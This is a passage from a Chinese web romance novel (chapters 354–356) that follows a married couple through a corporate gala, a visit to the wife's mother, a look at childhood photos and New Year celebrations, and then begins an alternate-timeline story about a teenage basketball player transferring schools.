这些话,都是祝卿月第一次说。 魏云舟却丝毫不意外,也不生气,他只是用温暖的指腹堵住她的眼尾:“再哭明早起来真不能看了。” 祝卿月一把抱住他的腰,将眼泪全都抹在了他胸前。 委屈与高兴交织,祝卿月在这一晚将过往倾释。 回到卧室,魏云舟拿了热毛巾给她擦了脸,脸色干巴巴又绷得紧,祝卿月仰头看向魏云舟:“我现在是不是很难看?” “在我眼里都一眼好看。”魏云舟回答得很认真,“就是怕你眼睛会疼,所以别哭了。” 祝卿月起身:“我去洗个澡。” 魏云舟跟过去:“一起吧。” “你禽兽啊,我都这样了你还要为难我。” “又不用你出力,哪次没让你躺着享受?” “魏云舟,你口无遮拦。” “我在家说话,也没人听见。” “我不是人吗?” 你一句我一句中,祝卿月两三秒就恢复了活泼。 这么晚了,魏云舟不过是在逗她。 祝卿月发觉上当,拿起花洒浇了他一身,魏云舟干脆脱掉衣服,坦诚相见。 “流氓啊你。” 浴室里传出祝卿月的惊呼。 魏云舟一把捞住她的腰,低头吻住了她。 祝卿月没有反抗,直接搂住了他的脖颈,气喘吁吁亲了半天,她才笑着松开,抵着魏云舟的额头说:“不是说不做的吗?” 本来是没这个打算的,刚才脱衣服也只是吓唬吓唬她,结果她倒好,搂他脖颈搂得这么紧。 魏云舟索性顺水推舟,一偏头,再次吻上去,吻上去之前,还说了句:“男人的话不要相信。” 祝卿月被他逗笑,只是笑还没出声,又被他吞入腹中。 夜色渐深,祝卿月被魏云舟抱回卧室,又被摆弄着穿上了睡衣。 魏云舟关灯上床,将祝卿月搂进怀中,沉沉睡去。 谢莹在第二天回了一趟祝家,她没有让祝卿月去,自己一个人回去的。 直至晚上六点她发了信息过来,祝卿月才松了一口气。 听说谢莹搬入新家,孟棠给她送来了一对木雕摆件,寓意新生。 晚上,魏云舟回来的时候,祝卿月跟他说了这件事,说她很感谢孟棠,这么有心。 魏云舟说:“年会后,爸妈回z市,到时候咱们也搬去老宅住几天。” 祝卿月也有点爱热闹,家里人都很好,她也很喜欢。 总比一个人整天在家等他要强一点。 “好。” 祝卿月忙不迭就答应了。 第354章 先婚后爱(51) 肆掠的寒风被隔绝在车外,一辆黑色的商务车缓缓停下。 祝卿月拢了下披肩,搭着魏云舟的手下了车。 察觉到她有点紧张,魏云舟没让她挽着自己,而是直接牵住她的手往红毯上去。 两侧都立着集团的展板,礼仪小姐保持着专业的笑容给两人递上签名笔。 只有一支笔,魏云舟先给了祝卿月。 祝卿月找了半天,发现一个小小的空隙,签了自己的名字,随后将笔给了魏云舟。 魏云舟盯着她名字身边的空位,一时皱起了眉。 祝卿月指了指上头:“你个子高,往上还有地方。” 魏云舟没听她的,挤在她的姓名旁边签下了自己的名字,黄豆般大小。 祝卿月无语了,这什么幼稚行为? 魏云舟将签名笔还给了礼仪小姐,朝祝卿月挑了挑眉:“怎么?不行?” 祝卿月干笑:“呵呵……你是总裁你说了算。” 礼仪小姐抿了抿唇,生怕自己憋不住笑了。 签过名,他们还要经由酒店大堂登个记签到,领了手环后,两人被侍者引入宴会厅。 宴会厅里的水晶灯折射出耀眼的光芒,祝卿月和魏云舟一进门,引起了各方视线。 一张张差不多的连全都凑上来打招呼,祝卿月堆起笑脸,好半天也没认全。 都是各个部门的领导,有比魏云舟职位低的,有和他平起平坐的。 招呼一打就是十几分钟,直至魏思嘉进门。 祝卿月跟在魏云舟身后,不好意思地嘟囔了句:“其实我一个也没记住。” 魏云舟失笑:“记不住也没事,他们记住你就行。” 方才不少领导都带了太太,她们对祝卿月确实带着拘谨的恭敬。 魏思嘉一路走来,也有不少人围着打招呼。 祝卿月和魏云舟耐心地等着,直至魏思嘉过来,才一道在主桌坐下。 “姑姑。”祝卿月笑着打了招呼。 魏思沅点点头,目光巡视了一圈,问:“大家都认识了?” 主桌上除了魏思嘉和魏云舟夫妇外,就是首席财务官陆总和各事业部的总经理,只有陆总带了太太,和祝卿月挨着坐。 “您来之前,我们已经打了招呼。”陆总笑道,“终于见到传说中的魏太太,我跟我夫人都很荣幸。” 魏思嘉眸光微转:“哦?久闻大名?公司里经常有人提及吗?” 陆总说:“魏太太之前来过一次公司,可是在各大员工群里引起了轰动。” 祝卿月指了指自己:“我吗?” 她看了眼魏云舟,当时她也没做什么吧? 魏云舟突然意味不明笑了声:“大家上班都在八卦吗?哪个部门开始传开的?” “你看你。”陆总啧了声,“偶尔摸摸鱼也很正常,你长得跟明星似的,大家对你太太好奇也很正常。” “是挺正常的,毕竟都是小魏总一手创造的。”魏思嘉戏谑地看了眼魏云舟,“你们看到他的签名没有?” “没有。”陆总摇了摇头,“我可比他先进来。” “我已经看到了。”其中一个部门的经理笑道,“群里传开了。” 魏云舟不在任何的一个群里,不过不妨碍陆总将图片传给他。 他无语地打开手机,祝卿月也凑了过去。 她在桌下踢了下魏云舟:“叫你签在上面的。” “没事,夫妻恩爱有利于公司对外形象。”魏云舟一本正经道,“你看那些个企业家,哪个不是低调爱妻的人设?” “哦?你也是人设?”祝卿月跟他小声耳语。 “我不是。”魏云舟说,“这你是知道的。” 要不是场合不对,祝卿月还想跟他呛两句。 陆总看到照片,笑道:“小魏总这么大一人物,签个名黄豆大小,怎么?上面是没空间了吗?” 魏云舟哼笑一声:“我乐意。” 陆总的太太抵了抵他:“好了,你俩每次都能掰扯两句,多大的人了。” 魏云舟失笑:“可不是我要掰扯。” “对。”魏思嘉自然帮自家人,“陆明修就不是个好人。” 席间一阵哄笑。 七点准时开席,宴会由主持人,自然也有节目表演。 祝卿月对吃吃喝喝的不在意,倒是对表演挺感兴趣的,表演的都是公司的员工,还别说,看着不尬。 魏云舟在席间对她十分照顾,且动作熟练又亲你,一看就是做惯了的。 魏思嘉仰头抿了口香槟,她对爱情和婚姻都没什么兴趣,一直一个人生活。 魏云舟早就能独当一面了,她现在的工作没有以前繁忙,看着这些小辈,竟然生出了点找男人的心思。 不过就是一瞬间,这个想法就被她掐灭了。 没有哪个男人能接受她有小情人的。 节目表演的中间穿插着颁奖环节,其中一项“年度杰出贡献奖”需要魏云舟和魏思嘉共同去颁奖。 台下掌声热烈,两人一同上了台。 获得这个奖项的是技术部的一个骨干,今年突破了卡脖子技术,解决了产品存在的长期缺陷。 魏云舟噙着笑,亲手将奖杯和奖励一起递给了他。 获奖的员工说了一通感谢的话,魏云舟也打算和他一起下台时,被主持人拦住了。 “首先恭喜我们小魏总新婚,我们知道您平时工作很忙,肩负着整个集团的发展重任,您能跟我们分享一下婚后的变化吗?” 祝卿月听到这个问题,下意识看向台上的魏云舟,而其他人的目光,或多或少会落在她的身上。 魏思嘉其实也挺好奇的,余光微偏,显然也被吸引了注意。 魏云舟想了想,说:“要说没有变化,肯定是假的,具体细节我不好透露,只能说,现在的我很满意两个人的状态和生活,谢谢。” 言简意赅,又将自己对祝卿月的情意委婉道出,掌声经久不息,祝卿月被看得红了脸。 等魏云舟下台,她下意识去拉他的手臂,意识到还有很多人,又往回收,被魏云舟一把捞住了手指。 “哇哦……” 起哄声一片,魏云舟淡定地坐下。 整体来说,第一次陪同魏云舟出席宴会,是很开心的,没有那么正式,员工和领导之间的氛围都很不错。 魏云舟和祝卿月没有待到宴会结尾,中途和魏思嘉一道走了。 分别之前,魏思嘉的车经过两人,特意停了车,降下了车窗:“你俩啥时候回老宅,你爷爷奶奶念叨了好几回。” “等爸妈过来,我们就回去。”魏云舟说,“岳母刚从祝家出来,我要和月月去看看她,有没有什么缺的东西。” “你有安排就行。” 魏思嘉点了点头,关上了车窗。 祝卿月疑惑地看向他:“去看我妈?你没说啊?” “我这不是说了。”魏云舟偏过头,对她笑着,“岳母前两天还说家里有好几本你小时候的照片,我想她肯定都带出来了,我想去求一本。” “要那个干什么?”祝卿月指了指自己,“我不是站在你面前吗?” 魏云舟捏住她的脸:“我喜欢。” 祝卿月哼了声,拉下他的手:“干脆这样,让宋潭和丁怡都过去一趟给我妈庆祝。” 魏云舟搂着她上了车,说:“行。” 回去之后,祝卿月将这事给谢莹说了,谢莹一口就答应下来。 谢莹的房子就在老街道,一栋二层老洋房,房子从外面看根本不大,但谢莹一个人住正好。 祝卿月知道这处房产,是她爸爸送给她妈妈的。 年轻时候他们在这里住过一段时间,祝卿月也是在这里怀上的。 这么多年,房子一直被谢莹精心照料,如今越看越有味道。 大门被人从里面拉开,魏云舟的车进入主干道后在楼前停稳。 谢莹和佣人一道迎上来,祝卿月见她妈妈气血红润,也笑得开心:“妈,你动作挺快啊,什么时候请了阿姨?” “不是我,我有那么神通广大吗?不知道阿姨难找。”谢莹指了指魏云舟,“是云舟特意准备的,不仅有做饭的阿姨,还有园丁保安都到位了。” 祝卿月转过头:“你什么时候准备的啊?” 魏云舟拉着她进屋,说:“很早之前就准备了,家政人员其实不太好找,要找人品好的,工作能力突出的,等了两三个月才配齐。” 祝卿月真的感动了,她晃了下魏云舟的手臂,娇声娇气:“谢谢。” 这样语气的“谢谢”,魏云舟倒是很受用。 两人挨在一起在沙发上坐下,谢莹瞥了眼,心里吐槽这两人黏糊,便问:“小丁和小宋什么时候过来?” “快了吧。”祝卿月看了眼手机,“丁怡前两天出门了,昨天刚回来,在家补觉呢。” 谢莹说:“这孩子补觉能补一天,也不知道吃没吃饭。” “通常不会吃。”祝卿月摇摇头,“然后清醒后再吞一头牛。” “你现在就去给我牵一头牛过来。” 门外传来丁怡的声音,祝卿月下意识起身迎过去:“你俩又是一道来的?” 丁怡推了下她的额头:“眼珠子别转,就知道你又要乱点鸳鸯谱。” 宋潭将礼物递给谢莹,谢莹笑着接过:“我可不客气了啊。” “您还跟我客气。” “你们年轻人先坐,我去厨房看看,等饭好了再叫你们。” “好。”宋潭应了声。 他将目光转向祝卿月:“你这段时间过得怎么样?听说前段时间在雁清忙了一阵?” 祝卿月说:“是,到时候我会让你俩看节目的。” “你又不上镜,我看什么?”丁怡故意逗她。 “看我们伟大的非遗木雕呗。”祝卿月说,“我婆婆上镜,我靠,雕的木头简直是艺术品。” “等你俩结婚的时候,我高低得去拜访一下。” “结婚?”祝卿月一愣,“我和魏云舟不是已经结婚了?” 客厅的空气里静默了一瞬,丁怡看了眼魏云舟,只能顺着说:“你俩不办婚礼了?” 祝卿月没有立刻回答,而是看向魏云舟。 魏云舟回视她:“看我干什么?你想办婚礼的话,我现在就可以配合。” 祝卿月拧了他一把:“没有婚纱直接一拜天地呗?” 魏云舟失笑:“有。” 祝卿月傲娇地问:“那什么时候办婚礼啊?” 魏云舟说:“婚纱礼服要准备的时间很长,一年半载吧,从现在开始可以提上日程了,我会找专业的团队和你沟通对接,按照你的喜好来。” 祝卿月其实不喜欢宾客云集的婚礼,她只想在家人的祝福下,穿上漂亮的婚纱,和他互换戒指,亲吻彼此,定下终身。 他们本来也领了证了,婚礼不过是一个形式。 “饭好了,都洗洗手来吃饭。”谢莹喊了声,打断了祝卿月想要说的话。 谢莹说:“今天都是家常菜,不要嫌弃啊。” “说的哪里话啊,阿姨。”丁怡第一个不同意,“我都快饿死了,一天没吃饭了。” “赶紧开动。”谢莹先给丁怡盛了碗汤,“小心点啊,不要烫着。” 祝卿月哼了声:“我也要。” 谢莹下巴一抬:“让云舟给你盛。” 想当初,她哪里敢使唤魏云舟,现在完全当成自己儿子了。 魏云舟给她盛了碗汤,说:“慢点啊,小心烫。” 祝卿月还不饿,慢条斯理地喝着汤。 席间,宋潭和丁怡一直在和谢莹聊以后的打算,谢莹其实没什么打算,随心过完下半生就行。 但这种无所谓的态度其实反倒让人担心,她便道:“和大家一样,该怎么生活就怎么生活,要说还有什么是我期待的,就是云舟和月月的孩子。” 魏云舟和祝卿月对视了眼,倒不排斥生孩子,就是得有个准备过程。 宋潭说:“婚礼一办,孩子的事也就自然而然了。” 魏云舟作为魏家的继承人,不可能没有孩子,只是迟早的事情。 祝卿月下意识看了眼自己的肚子,孩子?这是什么样的感觉? 她只看过程逾怀孕的样子,一点不受罪,还健步如飞的,搞得身边人提心吊胆。 明年四月,她差不多也该生了,不知道是男孩还是女孩。 魏云舟呢?他喜欢男孩还是女孩? 这个问题一直到饭后还憋在祝卿月的心里,她没好意思问。 魏云舟没注意到她的欲言又止,因为他的注意力全在待会儿要看到的照片上。 “妈,您上次说的相册在哪儿呢?” 谢莹说:“在二楼的房间里,我给你俩留的一个房间,就在床头柜子里,一共五本,你不是说想要拿走一本,你自己挑吧。” “好,谢谢妈。” 魏云舟转头问祝卿月,“跟我一起上去吗?” 祝卿月回眸看着丁怡:“你俩呢?” 宋潭摆了摆手:“你俩上去看照片去吧,我跟小丁陪我姐聊聊天。” 丁怡每次听到他喊谢莹姐就想笑,这不又来了:“我叫她阿姨,你叫她姐,辈分都乱了。” 宋潭说:“随便叫吧,无所谓,我总不能也跟着叫阿姨。” 谢莹笑道:“你要是跟小丁成了,叫我阿姨倒是可以的。” “您怎么跟祝卿月一样了。”宋潭噎了下,“我不婚主义者,您又不是不知道。” “好好好,我错了。” 祝卿月和魏云舟上了二楼,说:“这里的房间都重新布置过,也不知道我妈给我布置了什么风格。” 魏云舟握住门把手:“进去看看不就知道了。” 他推开门,房间正中间是一张复古铁艺床,床头摆放着她喜欢的玩偶,床头的大相框里是她第一次获奖的摄影作品。 祝卿月笑了声:“我妈还是这么了解我。” 魏云舟蹲下身,将抽屉拉开,将相册全都拿出来放到床上。 相册有大有小,他转身坐在床边,看了眼祝卿月:“我翻开了?” 第355章 先婚后爱(52) 魏云舟缓缓打开相册,第一张照片就把他看愣了。 照片中的祝卿月只有十六七岁,穿着校服,扎着高马尾,微微歪着头,朝着镜头笑。 五官漂亮,眼神灵动,。 魏云舟偏过头:“谁给你拍的?” 祝卿月指了指相册:“翻啊。” 魏云舟若有所思地瞥了她一眼继续翻,后面都是她高中时期的照片。 那时候才十几岁,五官还没有长开,但初见美人雏形。 也有一些个人的写真,还有和同学的合影。 魏云舟指着其中一张合照问:“你跟你同学现在还来往吗?” 祝卿月摇摇头:“早就没了联系方式。” 一本相册翻到底,魏云舟拿了另一本稍微厚实点的,抬眸看着祝卿月:“这本不会都是婴儿照吧?” 祝卿月摇摇头:“才不是,是十岁之后的。” 魏云舟失笑:“怎么有种看女儿的感觉。” 说着,他翻开相册,十来岁的祝卿月赫然呈现在眼前。 他突然笑了声:“原来你小时候也不是可爱挂的,脸冷着干什么?” 祝卿月“嘁”了声:“整天面对祝家人,能开心才怪。” 魏云舟揉搓了一把她的头:“继续看吧。” 初中时候的祝卿月有点小胖,魏云舟忍俊不禁:“那会儿饭量很大?” 祝卿月一把夺过相册:“看别的,这本不许看了。” “给我。”魏云舟一把握住她的手腕,“哪有看一半拿走的道理。” “你笑我。”祝卿月将手举高,眼眸冒火瞪着他。 “没有。”魏云舟控制着上扬的唇角,“我觉得很可爱,你不觉得吗?” 祝卿月十分怀疑。 魏云舟低头在她脸上亲了口,趁她失神之际抢走了相册。 十来岁的小姑娘绑着两个辫子,眼神有点不服气地盯着镜头,跟她现在如出一辙。 祝卿月还要来抢相册,被魏云舟一把搂住:“别闹,你说咱俩生个女儿,是不是就这样?” 祝卿月在他怀中安静下来,刚才没有问出口的话被魏云舟自然而然地带了出来。 她坐直身体,看着魏云舟的眼睛,问:“你喜欢男孩还是女孩?” “这是什么问题。”魏云舟失笑,“无论男女,都是我的孩子,难道我会因为性别不喜欢?” 祝卿月:“……” 是她狭隘了。 从魏思嘉能够在魏家当家做主就能看出来,魏家不是重男轻女的家庭。 “别乱想。”魏云舟安慰她,“是男是女都可以,无论天资,生一个就够了。” “一个就够了?”祝卿月倒是想生两个,她小时候一个人还挺孤单的,总会想要是有个兄弟姐妹就好了。 “生孩子是什么划算的事吗?”魏云舟说,“你想要就要一个,够用了。” 祝卿月:“……什么叫够用了?你打算让孩子干什么?” 魏云舟:“……还没影呢,你已经开始护着了,慈母多败儿。” “魏云舟!你找茬是不是。”瞥见他唇边的坏笑,祝卿月就知道他在逗她。 魏云舟打开第三本相册,目光顿了下,说:“要是都长这样,生两三个也可以。” 祝卿月垂眸一看,是自己的满月照。 “……” 莫名有种羞耻感,她合上相册,“我真求你了,别看了。” 魏云舟说:“妈还答应给我拿回去一本,你觉得我应该拿哪一本?” 祝卿月拍了拍其中一本蓝色绒布相册:“这本。” 这本是她二十几岁的照片,跟她现在最接近。 哪知魏云舟笑了笑,从每本相册里都抽了一张出来,从她的婴儿时期到成年都概括了。 祝卿月动了动唇,最终也没说什么,只是心里酸软一片。 两人从楼上下来后,三人还在聊,魏云舟加入,丁怡退了出来。 她将祝卿月拉到了屋外,问她:“周若焜的事应该彻底解决了吧?” 祝卿月点了点头:“前两天被他老子发现人在澳门,已经赌得不知道天南地北了。” “我也听说了,搭进去不少钱。”丁怡说,“有一就有二,除非老头天天把人看着,否则他还会赌,赌到倾家荡产。” 祝卿月冷笑:“倾家荡产……说不定迟早的事。” 丁怡叹了声气,回眸看了眼谢莹,说:“看到阿姨这么开心,我也是打心里为她高兴。” “是啊。”祝卿月也由衷地叹了声气,“她现在越开心,我就越感谢魏云舟。” 丁怡说:“你找了个好老公,当初还以为你俩会相敬如宾。” 祝卿月笑道:“我运气还是好的吧?” 丁怡看着她:“那就祝你这辈子运气都这么好。” 祝卿月跟她相视一笑:“借你吉言。” 四个人在谢莹这里用了晚餐才回,分别之前,宋潭叫住祝卿月,说:“过年的时候你不用担心,我会过来陪着的。” “我家里人多,除夕夜过来陪妈吃饭也是可以的。”魏云舟说,“现在也没这些虚礼。” 宋潭说:“你是没这些虚礼,但你家族庞大,还有些能说会道的亲戚,今年是你们结婚第一年,在家过吧,以后就无所谓了。” 魏云舟还想说什么,祝卿月拉住他,说:“没事的,就让宋潭陪着吧,奶奶今年身体不太好,我们就在家里过年,人多热闹,奶奶应该会高兴。” 魏云舟点了点头:“好。” 回去之后,魏云舟特地去了一趟书房。 他拿出管家给他准备的相册,将祝卿月从小到大的照片按照顺序整理进去。 做完这一切,他回房间洗了澡。 祝卿月已经等着他了,终于见到人,顺嘴问道:“你干嘛去了?” “把你照片收整一下。”魏云舟掀开被子,“明天陪我去上班吧,咱俩也拍一张合照。” “合照?”祝卿月一愣,“拍这个干什么?” 魏云舟说:“放在办公桌上。” “行,我上次去你们园区,都没好好逛一下,我对你们公司的文化广场挺感兴趣的。” “好,带你去看。”魏云舟说完,将祝卿月压在身下,想也不想亲了下去。 每天晚上的例行流程,祝卿月已经习惯了,就在她以为只是亲一下就睡觉的时候,魏云舟的手伸进了她的衣摆。 祝卿月按住他的手:“干什么?” 魏云舟没有回答,拂开她的手,沿着她脖颈往下亲。 祝卿月没再阻止,慢慢回应,鱼水之欢,两人早已配合得当。 只不过当祝卿月被翻转趴着时,不由一愣,这个姿势她一直都拒绝,今天魏云舟似乎是铁了心。 果然,行进一半时,他突然堵着她耳朵问:“宝宝,那张笑得特别漂亮的照片是谁拍的?” 祝卿月眼眸骤然睁大:“魏云舟……你真的很小气。” “所以是谁?”魏云舟大汗淋漓,喘着声儿低沉地吓唬她,“不说不会放过你的。” 祝卿月一听,快哭了:“不记得了,反正是个男生。” “那一定喜欢你。” “你不讲理啊,魏云舟。” 魏云舟笑了声,掰过她的脸狠狠吻了下去。 祝卿月哭了半宿,全都是对某些人的控诉。 翌日一早,还要陪他去公司,祝卿月不大乐意了,用被子将自己裹起来:“不去了!” 魏云舟连人带被将人抱住,哄道:“我错了,好吗?” 祝卿月信他个鬼,每次一过分就会说自己错了,转头又犯。 “再不起来,我迟到了。” 祝卿月不情不愿地起了床,化妆也耽误了点功夫,去到公司的时候确实迟了。 等两人上了楼,没一会儿,小魏总惹夫人生气的事传遍了整座大楼。 因为他俩进公司的时候,祝卿月双手抱胸,一言不发,魏云舟跟在身旁落后半步,眼神时不时瞟过去看她,一副小心翼翼的模样。 不过中午出来的时候,两人的脸上都有了笑容。 前天的两个女生互相抵了抵:“看不出来小魏总还会哄人。” “拜托,我老婆这么漂亮,我也得哄啊。” “也是啊,我看过那么多的老总小总的,就属小魏总的老婆最漂亮,能当明星了。” “小魏总的哥哥就是明星啊,这一家子的颜值真是让人嫉妒。” 吃过午饭,魏云舟带着祝卿月在园区里逛起来,地方太大,很多人都带着平衡车,好在梧桐路很近,他们要去那儿拍照。 魏云舟随意捞了一个过路的员工,请他帮忙拍照。 员工受宠若惊,小心翼翼拍了一堆糊照。 魏云舟没辙了,只能和祝卿月自拍了几张。 下午事情不多,他让秘书将照片打印了出来,秘书效率很高,还挑选了几个相框给他选。 魏云舟没拿主意,让祝卿月看了眼,祝卿月选了一个和办公室色调比较搭配的实木框。 祝卿月独自欣赏了一下,将相框重新摆放好。 下午四点左右,魏云舟陪祝卿月去了文化广场,逛了一个多小时,两人回了家。 魏云舟很喜欢祝卿月陪自己上班,但祝卿月也知道一两次无所谓,多了不行,等他再提起来就拒绝了。 正好孟棠和魏川,还有程逾孟竞帆全都回了z市,祝卿月当即就回了老宅。 程逾已经显怀,祝卿月好奇地围着她转了圈,问:“辛苦吗?” 程逾摇摇头:“没啥感觉,可能我身体素质比较好。” 祝卿月若有所思,她是不是也该锻炼锻炼身体了? 几天后,魏云舟终于放了假,回家第一件事就是找祝卿月,这几天祝卿月没让他来回跑,还是让他住的丹枫公馆。 孟棠不禁失笑:“自从月月来了,他就没有稳重过。” “这样不挺好的。”魏川说,“小时候就整天装深沉,一点都不可爱。” 孟棠白他一眼:“谁装了?” 魏川举手投降:“我装。” “你俩这么大人了还斗嘴呢?”魏思沅没忍住插了句嘴,“听说你俩最近火气挺旺啊?” 魏川想要解释,可惜魏思沅不听,她一门心思只站在孟棠这里。 大家都很习惯,魏川更是,要是魏思沅不站在孟棠那里,他还得说道两句呢。 晚上吃饭的时候,长辈们果然问起了备孕的问题。 魏云舟没让祝卿月出面,自己一一回答了。 他奶奶也是随口问问,她年纪大了,能看到程逾的孩子,不一定能看到祝卿月的孩子。 魏云舟怎么会不知道老人的想法呢,不过他也不能为了老人的愿望,直接不管不顾和祝卿月造一个娃出来。 等婚礼过后,差不多就能备孕了。 祝卿月其实也是这个想法,婚礼之后,一切顺理成章。 在别墅的几天,天天睡到自然醒,醒来除了吃喝就是玩乐,家里孩子多,娱乐项目也多。 祝卿月一天之内能转好几个场地,离谱到魏云舟都不一定能见到她。 直至晚上睡觉的时候,他才会抱怨两句:“你玩野了?老公都不要了?” “我怎么不要你了?”祝卿月觉得他莫名其妙,“你自己不也在玩吗?” “我没玩,我被孟竞帆拉着去买烟花了。” “你还亲自去了?”祝卿月有点感兴趣了,“买了多少啊?” 别墅自带几百平的庭院,又和周边建筑、设施保持了足够的安全距离,是可以在自家燃放烟火的。 魏家每年都会放,场面盛大,祝卿月是第一次参与,心里还是挺期待的。 “买了很多。”魏云舟说,“我之所以跟大哥出去是因为大嫂喜欢玩一种小时候的烟花,我俩找了好久,你敢玩吗?” 祝卿月说:“我玩过那种拿在手里的,好像是仙女棒。” 魏云舟失笑:“我是说拿着打火机去点燃。” 祝卿月连忙摇头:“那我还是不敢的。” “没事,今年我带你一起玩。”魏云舟递给她两根仙女棒,“先拿这个玩一下吧,提前应个景。” 祝卿月伸过去:“那你帮我点一下。” 魏云舟不抽烟,转头去客厅让阿姨拿了打火机,亲自给她点燃了仙女棒。 烟火明明灭灭,在她的脸上生出一片萤光。 魏云舟拿出手机,给她拍了好多张照片。 孟棠从客厅的落地窗前看到,一时有些恍然,好多年前,她也曾在雁清的老宅门口放了仙女棒,魏川也给她拍了照片。 祝卿月玩了会儿才发现孟棠,不好意思地笑了声。 除夕当天,老太太闲着没事,鼓动全家动起来布置家里,从大门口到主楼,工作量太大,但也架不住他们人多。 大红灯笼高高挂,气氛这不就来了。 体力活大多落在魏云舟兄弟俩,以及其他兄弟姐妹的身上了。 只有程逾在一旁指挥着,谁让她大着肚子呢。 祝卿月挂了一盏小灯笼,高兴地转头去叫魏云舟,结果一时兴奋,脚后跟没踩稳,得亏魏云舟就在她身后,捞了她一把。 魏云舟心脏都快跳出来了,他将祝卿月从梯子上抱下来:“别弄了,我来。” 祝卿月将其余的灯笼给他,说:“待会儿我们的房间也留一盏吧?” “好。” 下午三点,布置完成,祝卿月拉着魏云舟穿梭在灯笼之下,嘴里不住地说着:“真好看啊。” 以往在祝家,没有这些破坏建筑风格的装饰。 “来来来,放烟花了。”孟竞帆喊了一嗓子。 年轻人全都往前挤,祝卿月在魏云舟下面的一个台阶上,两人站在最边边。 孟竞帆和魏思沅的儿子一左一右点了火,火星窜起,冲破夜空的一瞬间,祝卿月情不自禁跳起来欢呼了声。 魏云舟觉得可爱,低头问:“你要不要玩?” 祝卿月摇了摇头:“我就看看吧,好漂亮啊。” 魏云舟低头在她脸颊上亲了下:“你最漂亮。” 祝卿月笑了笑,牵住了他的手。 旧岁篇章是他们的相遇相知,新岁只待相守。 第356章 【if线 1】转学 九月的雁清依旧炎热,暑气半点没消,还憋了一肚子的火气。 魏川粗鲁地推开车门,一看破破烂烂被风雨腐蚀掉的“雁清中学”四个大字,直接关上了车门。 “爸,你确定要把我送这里来?”魏川的语气里满是不可置信,还夹杂着几分愤怒。 魏立峰微微偏过头:“该做的都做了,谁让你那么冲动把人打成那个鬼样子?” “是他打脏球在先。”魏川不服。 魏立峰说:“是,裁判没有吹罚,对方把你的膝盖也磕伤了,可你冲动之下,故意用大幅度动作将人撞晕了,之后发生口角又把人暴揍了一顿,导致他小腿严重受伤,至今还躺在医院里。” “我没给你斡旋吗?可对方态度坚决,要么终身禁赛,要么主动转学,你自己选一个。” “靠。”魏川骂了句,“他受伤重就有理呗?我的诉求谁看见了?” 魏立峰叹了声气:“对方学校一直在投诉,你要是以后还想打篮球,就老老实实待在这里。” “那为什么是这里啊?”魏川指了指外头,“你看看这环境,校名都快脱落了。” 魏立峰无奈道:“放心,等你进去就不脱落了。” “啊?”魏川一时没理解他的意思,“我还能让它蓬荜生辉不成?” “挺自恋的。”魏立峰笑了声,“只要你进去了,我就给你们学校捐一笔基础建设的款。” 魏川知道来雁清中学读书已经是板上钉钉的事,他再不情愿也没办法,只不过心里不爽,发发牢骚。 这个学校不是他老头选的,是对方为了报复刻意为之,因为这个学校没有篮球队。 魏川就算当场组建一支,想要参赛也是难如登天。 他拧着眉心,拿了自己的篮球包下了车。 校领导和班主任已经等着了,开学一个礼拜,迎来了一位祖宗,校领导也是诚惶诚恐。 不过这位小祖宗也是位财神爷,造福雁清中学的金元宝。 “魏先生,久仰久仰。” 魏川看了眼谄媚的校长,翻了个白眼。 魏立峰态度十分谦虚,他给校长介绍了下自己不成器的儿子,又说以后麻烦他多看顾。 校长自然满口答应,转头将班主任叫过来:“这位是梁璐,是高二(17)班的班主任。” “梁老师。”魏川微微颔首,态度恭敬多了。 梁璐惊讶于他的态度转变,心里却松了口气,看着不是刺头儿,最起码尊重师长。 梁璐说:“跟我去班级吧,路上给你介绍一下情况。” 魏川刚要答应,魏立峰又把他叫住。 魏川回眸,魏立峰拍了下他的肩膀,说:“冲动是魔鬼,这句话虽然土,依旧是至理名言。” 魏川点了点头,他当然知道,只是到底年轻,当时脑子一热,拳头带风就揍过去了。 他在这件事中当然也有错,远离舆论漩涡,来雁清上学,或许也不算太差的选择。 他要打篮球,不然绝不会忍这口气。 “知道了,您回吧。”魏川潇洒地挥了挥手。 魏立峰也没有多待,在他看来,魏川虽然还没十八,但也是懂事的年纪。 只不过第一次因为别人耍花招被取消了比赛成绩,他心里攒着气是正常的。 魏川跟着梁璐走了,一路上,他大摇大摆,倒显得老师有点拘谨了。 其实也不怪梁璐,魏川身高快190了,压迫感太甚,通身大少爷的气质,整个雁清中学也找不出来一个。 “呃……魏同学,我能不能问个问题?”梁璐试探性地问了句。 “问吧,叫我名字就行。”魏同学听着太奇怪了。 “咱们雁清中学的孩子,家境都大差不差的,艺术生很少,开设的几个专业凑不齐一个班,所以17班是艺术生混班,据我所知,你在z市也不是篮球特长生,应该去普通文化班才是,怎么会选17班?” 魏川在z市重点高中个,是校队的中流砥柱,他家里每年送他去篮球训练营的钱就砸了不少。 本质上就是靠家庭和天赋加持的文化生,如果是特长生的话,学校还能有“不能流失体育人才”这个理由让他留在z市。 “您知道我打篮球的吧,我每天都要训练,在文化班算怎么回事,会打扰到别人,艺术班就很好,除了文化课在一起外,大家各上各的专业课。” 梁璐点了点头,考虑得倒是周全。 高中教学楼一共两栋,高二两栋楼排在一起,楼对面就是食堂,越过食堂就是寝室。 魏川不住校,他爸爸在学校附近买了套房子,也配了阿姨和司机,专门照顾他。 “老师,教室几楼啊?” “三楼。”梁璐以为他不想爬,“很快的,比起五楼已经很好了。” 魏川点了点头,跟着梁璐进了西边的教学楼。 上了楼梯左转,最边上一间教室就是。 魏川跟在梁璐身后,略有些吊儿郎当,黑色的篮球包被他斜跨在身上,大少爷双手插兜,谁也不爱搭理的bking模样。 教室内没有空调,所有的门窗全都开着,即便如此,魏川还是被里面的味道熏到了天灵盖。 他压着眉宇间的烦躁,在心里劝自己既来之则安之。 “来,大家都把手里的事情停一下。”梁璐拍了拍手。 其实魏川进来的时候,大家已经停了手里的动作。 因为每个班里都有个顺风耳,早就听说这个学期有人会转学过来,只不过一直没打听到是何方神圣。 今天一个电话把班主任叫走去校门口,他们就知道新同学来了。 只是可惜,他们的教室前头还有高一的教学楼,不然就能趴在窗口看新同学了。 结果新同学进来后,全班鸦雀无声。 男生os:操,好高啊,有他在,还有他们什么事啊? 女生os:我去,人怎么能长成这样? “来。”梁璐给魏川让了个位置,“魏川同学,你来做个自我介绍。” 魏川踏上讲台,微微扬着下巴,有气无力道:“我叫魏川,打篮球的。” 说完,他看向梁璐:“老师,我坐哪儿?” 梁璐仰头看了眼他的个子,说:“这边最后一排的位置就是给你准备的。” 魏川径自走过去,最后一排只有一张桌位,我倒是无所谓有没有同桌,就是这个桌子,是不是太脏了? 他看向梁璐,指了指前面的空位:“梁老师,我能坐这儿吗?” 